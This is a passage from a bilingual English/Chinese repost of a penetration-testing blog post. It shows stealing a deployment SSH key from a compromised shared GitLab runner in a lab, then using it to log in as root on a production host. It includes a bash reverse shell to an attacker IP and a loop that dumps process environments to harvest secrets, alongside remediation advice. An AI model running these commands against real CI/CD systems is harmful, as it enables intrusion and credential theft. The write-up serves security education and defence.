variables are interesting. Let’s grab the CI definition file too and see what the pipeline is meant to be doing:
这看起来很有希望!这是由我们的特权工程师 Imogene 运行的 prodstuff
/web
管道。 SERVER_NAME
和 PRIVATE_KEY
变量很有趣。让我们也获取 CI 定义文件,看看管道要做什么:
root@OMGCICD:~# docker exec 399a8352fbb8 cat builds/prodstuff/web/.gitlab-ci.yml
stages:
- deploy
deploy-job:
image:
name: debian:latest
pull_policy: if-not-present
stage: deploy
script:
- echo "Deploying Prod Web"
- apt update; apt install -y --no-install-recommends openssh-client
- mkdir ~/.ssh
- echo $PRIVATE_KEY |base64 -d > ~/.ssh/id_ecdsa
- chmod 600 ~/.ssh/id_ecdsa
- scp -o "StrictHostKeyChecking=accept-new" -rv * $SERVER_NAME:/var/www/html
- sleep 60
Seems reasonably straightforward! We can now use our stolen private key, get into the production server, and deploy our super awesome malicious hacker backdoors:
看起来相当简单!我们现在可以使用我们被盗的私钥,进入生产服务器,并部署我们超级棒的恶意黑客后门:
doi@koplje:/dev/shm$ echo "LS0...yoink...S0K" | base64 -d > bigyoinksprivkey
doi@koplje:/dev/shm$ chmod 600 bigyoinksprivkey
doi@koplje:/dev/shm$ ssh-add bigyoinksprivkey
Identity added: bigyoinksprivkey (ci@builder)
doi@koplje:/dev/shm$ ssh -l root prod.labnet.local
Linux prod 6.1.0-13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.55-1 (2023-09-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Nov 15 16:47:44 2023 from 192.168.200.225
root@prod:~# apt install cowsay
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
cowsay is already the newest version (3.03+dfsg2-8).
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
root@prod:~# /usr/games/cowsay DING DING DING
________________
< DING DING DING >
----------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
root@prod:~#
We have now gone from lowly Jimbo to root on a production server, all thanks to shared deployment infrastructure.
现在,我们已经从低级的 Jimbo 变成了生产服务器上的 root,这要归功于共享的部署基础设施。
This example is a little silly on purpose. How this usually plays out in real environments is the CI/CD system is used to deploy to some kind of cloud environment and we pull out the access tokens for the ‘deployer’ user or similar that’s been configured in the cloud, which inevitably has access to all-the-things and gives us an environment-wide compromise.
这个例子故意有点傻。这在实际环境中通常是 CI/CD 系统用于部署到某种云环境,我们提取在云中配置的“部署者”用户或类似用户的访问令牌,这不可避免地可以访问所有事物,并给我们一个环境范围的妥协。
REMEDIATION – HARDENING THE CI/CD INFRA
修正 – 强化 CI/CD 基础结构
Each different source repository and CI/CD system is going to have different settings and hardening configurations that can be used to reduce the likelihood of this attack succeeding – mostly by increasing the complexity of the attack for a would-be attacker. In my ideal world, the attacker would have to compromise one of few key individuals with the permissions to deploy directly to production. This would let me focus on defending those individuals, and further hardening the rest of the system.
每个不同的源存储库和 CI/CD 系统都将具有不同的设置和强化配置,可用于降低此攻击成功的可能性 – 主要是通过增加潜在攻击者的攻击复杂性。在我的理想情况下,攻击者必须破坏少数几个有权直接部署到生产环境的关键人员之一。这将使我能够专注于保护这些人,并进一步加强系统的其余部分。
Multiple runners are a good option – compartmentalisation and segmentation of runners based on the workloads they will be processing. If there is a heavily restricted runner that is only used to deploy to production, then the attacker would likely need to a compromise a specific high-value individual to get to it. Assuming the infrastructure has been hardened, reviewed and no exploitable weaknesses are involved.
多个运行器是一个不错的选择 – 根据运行器将要处理的工作负载对运行器进行划分和细分。如果存在仅用于部署到生产环境的严格限制运行器,则攻击者可能需要破坏特定的高价值个人才能访问它。假设基础结构已经过强化、审查,并且不涉及可利用的弱点。
A big part of defending these systems is accepting their sensitivity and treating them accordingly. A compromise of your source repository may well give the attacker enough access to control production if CI/CD is used to get code into prod. Does this mean avoid using CI/CD? Absolutely not, just understand the risks and make sure security controls like multi-factor authentication, IP allow-listing and robust audit logging are in place to defend it accordingly.
捍卫这些系统的很大一部分是接受它们的敏感性并相应地对待它们。如果使用 CI/CD 将代码导入生产,则对源存储库的入侵很可能使攻击者有足够的访问权限来控制生产。这是否意味着避免使用 CI/CD?绝对不是,只需了解风险并确保安全控制(如多因素身份验证、IP 允许列表和强大的审计日志记录)到位,以相应地保护它。
Security should ideally enable the system’s users to do their jobs in a safe way, rather than introducing perilous hurdles which inevitably end up disabled or bypassed by clever, sneaky techies who just want to get the job done. Working with the users of these systems when hardening them and finding solutions that securely enable our colleagues to do their jobs is the key to a sustainable and secure solution.
理想情况下,安全性应该使系统的用户能够以安全的方式完成工作,而不是引入危险的障碍,这些障碍不可避免地最终会被聪明、偷偷摸摸的技术人员禁用或绕过,他们只想完成工作。在强化这些系统时与这些系统的用户合作,并找到能够安全地使我们的同事能够完成工作的解决方案,是可持续和安全解决方案的关键。
CLOSING THOUGHTS – THE RECKONS OF DOI
结束语 – DOI 的计算
CI/CD tooling is a serious productivity force multiplier, there’s no doubt about that. I think what’s important to remember is that these systems are becoming responsible for deploying our crown jewels. This means in order to do so; they need some pretty serious access into production to make those changes. This increases the damage that can be done by a malicious user or an attacker who has compromised the CI/CD infra, and we need to take extra steps to defend this infrastructure as the sensitive thing that it is.
CI/CD 工具是一个重要的生产力倍增器,这一点毋庸置疑。我认为重要的是要记住,这些系统正在负责部署我们的皇冠上的明珠。这意味着为了这样做;他们需要一些非常认真的生产访问权限才能进行这些更改。这增加了恶意用户或破坏 CI/CD 基础结构的攻击者可能造成的损害,我们需要采取额外的措施来保护此基础设施,因为它是敏感的。
GitLab is being used as an example in this article, but this base concept applies to pretty much all CI/CD platforms. If there is an automated system that’s responsible for deploying into production, defence of that system becomes critical. Sana wrote up a similar article for Azure Devops which showed exploiting command injection through a parameter and stealing the Azure Cloud credentials used to deploy systems.
本文以 GitLab 为例,但这个基本概念几乎适用于所有 CI/CD 平台。如果有一个自动化系统负责部署到生产中,那么该系统的防御就变得至关重要。Sana 为 Azure DevOps 撰写了一篇类似的文章,其中介绍了如何利用参数进行命令注入并窃取用于部署系统的 Azure 云凭据。
Getting this right involves the correct incantation of configuration and tweaking of perilous hardening settings which, if you get them wrong, might well break your ability to ship code the way you’ve been shipping it thus far. When system complexity increases, security review and testing becomes even more critical. I think of this as a ‘closed loop’ system, where changes are made and then verification steps are taken to ensure the changes worked exactly how we expected them to.
要做到这一点,就需要对配置进行正确的咒语,并对危险的强化设置进行调整,如果你弄错了,很可能会破坏你以迄今为止的方式交付代码的能力。当系统复杂性增加时,安全审查和测试变得更加重要。我认为这是一个“闭环”系统,在该系统中进行更改,然后采取验证步骤,以确保更改完全按照我们的预期工作。
Make the changes, test them to see what practical effect they had on the security posture of the solution, then repeat. We want to always measure the changes we make and ensure that things are improving over time. We looked at instance-level runners specifically in this article, but different attacks may apply to your setup depending on your specific configuration of instance-level, group-level and project-level CI/CD runners and variables, group and user permissions, and more. We also didn’t look at a number of additional features which are fairly common, like container repositories and integration with tools like Vault. There’s a lot to get through.
进行更改,测试它们,看看它们对解决方案的安全状况有什么实际影响,然后重复。我们希望始终衡量我们所做的改变,并确保事情随着时间的推移而改善。我们在本文中专门研究了实例级运行器,但不同的攻击可能适用于您的设置,具体取决于实例级、组级和项目级 CI/CD 运行器和变量的特定配置、组和用户权限等。我们也没有考虑一些相当常见的附加功能,例如容器存储库以及与 Vault 等工具的集成。有很多事情要做。
On the attacker side of things, we’ve only looked at extracting credentials used for deployments. After compromising a shared runner there are a whole myriad of other attacks that are possible, including transparently backdooring software with malicious code as the pipeline is executing.
在攻击者方面,我们只研究了提取用于部署的凭据。在破坏共享运行器后,还有无数其他可能的攻击,包括在管道执行时使用恶意代码的透明后门软件。
I’ve noticed a disconnect between various disciplines when discussing CI/CD and automation exploitation issues. Our DevOps buddies will occasionally handwave away the risks associated with CI/CD systems due to the risks being embedded in how the system generally functions. “Of course the intern could hijack production pipelines, that’s just how the system works”. On the other hand, our buddies in architecture, GRC and the executive teams are less comfortable with the idea of source repository access automatically forking over the keys to the kingdom. I think the levels of abstraction and steep learning curve associated with these systems are probably one of the culprits for this impedance mismatch, and it’s a good reminder that communication and collaboration between teams is still the best way to build.
我注意到,在讨论 CI/CD 和自动化开发问题时,各个学科之间存在脱节。我们的 DevOps 伙伴偶尔会挥手消除与 CI/CD 系统相关的风险,因为这些风险嵌入在系统的一般运行方式中。“当然,实习生可以劫持生产管道,这就是系统的工作方式”。另一方面,我们在架构、GRC 和执行团队中的伙伴们对源代码存储库访问自动分叉王国密钥的想法不太满意。我认为与这些系统相关的抽象水平和陡峭的学习曲线可能是造成这种阻抗不匹配的罪魁祸首之一,这很好地提醒了我们,团队之间的沟通和协作仍然是最好的构建方式。
Measure the system and find out what that compromised dev/intern/whoever can really do!
测量系统并找出受损的开发人员/实习生/谁能真正做什么!
BONUS ROUND 1 – SHELL EXECUTORS
奖励回合 1 – SHELL 执行者
We looked at docker-in-docker executors and container escapes which are GitLab specific. But what about a simpler shell-style executor, where the runner is executing commands issued by the CI/CD pipeline and none of the fancy docker stuff is going on? Turns out compromising shared runners that use this design pattern is even simpler. Again, we need compromise the runner and wait for a high-value deployment job to happen. Here’s what that looks like in practice:
我们研究了特定于 GitLab 的 docker-in-docker 执行器和容器转义。但是,如果一个更简单的 shell 式执行器,运行器正在执行 CI/CD 管道发出的命令,并且没有进行任何花哨的 docker 内容呢?事实证明,妥协使用这种设计模式的共享运行器甚至更简单。同样,我们需要妥协运行器并等待高价值部署作业的发生。以下是实际情况:
Same commands initially as the previous section, right up until we get our reverse shell:
最初与上一节相同的命令,直到我们得到反向 shell:
:~$ nc -vv -k -l -p 4321
listening on [any] 4321 ...
connect to [192.168.200.225] from omgcicd-shellrunner.labnet.local [192.168.200.217] 54370
bash: cannot set terminal process group (5209): Inappropriate ioctl for device
bash: no job control in this shell
gitlab-runner@omgcicd-shellrunner:~/builds/QSmKceiF/0/jimbo/testproject$ nohup bash -c "bash -i >& /dev/tcp/192.168.200.225/4322 0>&1" &
<c "bash -i >& /dev/tcp/192.168.200.225/4322 0>&1" &
[1] 5223
gitlab-runner@omgcicd-shellrunner:~/builds/QSmKceiF/0/jimbo/testproject$
gitlab-runner@omgcicd-shellrunner:~/builds/QSmKceiF/0/jimbo/testproject$ exit
exit
exit
Above we used nohup
to launch a second reverse shell and exit the shell triggered by the pipeline, which lets the pipeline finish, and the runner can go back to processing other jobs. We’re running as the ‘gitlab-runner’ user, so the aim of the game is to monitor the executing processes and wait for the runner to execute a higher value job:
上面我们曾经 nohup
启动第二个反向 shell 并退出流水线触发的 shell,这让流水线完成,运行器可以回去处理其他作业。我们以“gitlab-runner”用户的身份运行,因此游戏的目的是监控执行过程并等待运行器执行更高价值的作业:
gitlab-runner@omgcicd-shellrunner:~/builds/QSmKceiF/0/jimbo/testproject$ ps -u gitlab-runner
PID TTY TIME CMD
5085 ? 00:00:00 systemd
5087 ? 00:00:00 (sd-pam)
5223 ? 00:00:00 bash
5224 ? 00:00:00 bash
5455 ? 00:00:00 bash
5460 ? 00:00:00 bash
5464 ? 00:00:00 sleep
5465 ? 00:00:00 ps
gitlab-runner@omgcicd-shellrunner:~/builds/QSmKceiF/0/jimbo/testproject$ while true; do ps -u gitlab-runner | grep -v \( | grep -vE "systemd|bash|grep|ps|awk" | awk '{print $1}' | grep -v PID | while read pid; do cat /proc/$pid/environ | sed 's/\x0/\n/g' > /dev/shm/$pid.env; done; done &
[1] 8450
gitlab-runner@omgcicd-shellrunner:~/builds/QSmKceiF/0/jimbo/testproject$ ls -l /dev/shm/
total 4
-rw-r--r-- 1 gitlab-runner gitlab-runner 275 Nov 16 16:02 5749.env
... wait some time for a pipeline to execute ...
gitlab-runner@omgcicd-shellrunner:~/builds/QSmKceiF/0/jimbo/testproject$ ls -l /dev/shm/
total 40
-rw-r--r-- 1 gitlab-runner gitlab-runner 275 Nov 16 16:04 5749.env
-rw-r--r-- 1 gitlab-runner gitlab-runner 0 Nov 16 16:04 90097.env
-rw-r--r-- 1 gitlab-runner gitlab-runner 9605 Nov 16 16:04 90100.env
-rw-r--r-- 1 gitlab-runner gitlab-runner 9623 Nov 16 16:04 90105.env
-rw-r--r-- 1 gitlab-runner gitlab-runner 9436 Nov 16 16:04 90512.env
gitlab-runner@omgcicd-shellrunner:~/builds/QSmKceiF/0/jimbo/testproject$ grep PRIVATE_KEY /dev/shm/*
/dev/shm/121581.env:PRIVATE_KEY=LS0tLS1CRUdJT...yoink...S0K
/dev/shm/90100.env:PRIVATE_KEY=LS0tLS1CRUdJT...yoink...S0K
/dev/shm/90105.env:PRIVATE_KEY=LS0tLS1CRUdJT...yoink...S0K
/dev/shm/90512.env:PRIVATE_KEY=LS0tLS1CRUdJT...yoink...S0K
In the example above I’m watching processes run by the gitlab
-runner
user in an infinite loop and logging the environment out to /dev/
shm
, which avoids punishing the disk. This… is not the stealthiest way to do this. You get the idea though.
在上面的示例中,我正在无限循环中观察用户运行 gitlab
的进程,并将环境记录到 /dev/
shm
,从而避免惩罚 -runner
磁盘。这。。。这不是最隐蔽的方法。不过你明白了。
BONUS ROUND 2 – BUT DENIS, ISN’T THIS A GITLAB VULNERABILITY?
奖励回合 2 – 但是丹尼斯,这不是 GITLAB 漏洞吗?
No. Well, maybe in a high-level architectural sense? But no. The documentation is reasonably clear on what using docker-in-docker or a Kubernetes executor entails as far as privileged
mode goes. GitLab doesn’t advertise workload-isolation on a single runner as a feature as far as I’m aware, so this is more of a deployment and configuration issue. My advice? Use multiple runners based on the sensitivity of what each one is deploying.
不。好吧,也许是在高级架构意义上?但不是。就 privileged
模式而言,文档相当清楚地说明了使用 docker-in-docker 或 Kubernetes 执行器需要什么。据我所知,GitLab 并没有将单个运行器上的工作负载隔离作为一项功能进行宣传,因此这更像是一个部署和配置问题。我的建议?根据每个运行器所部署内容的敏感度使用多个运行器。
原文始发于Denis Andzakovic:OMGCICD – ATTACKING GITLAB CI/CD VIA SHARED RUNNERS
转载请注明:OMGCICD – ATTACKING GITLAB CI/CD VIA SHARED RUNNERS | CTF导航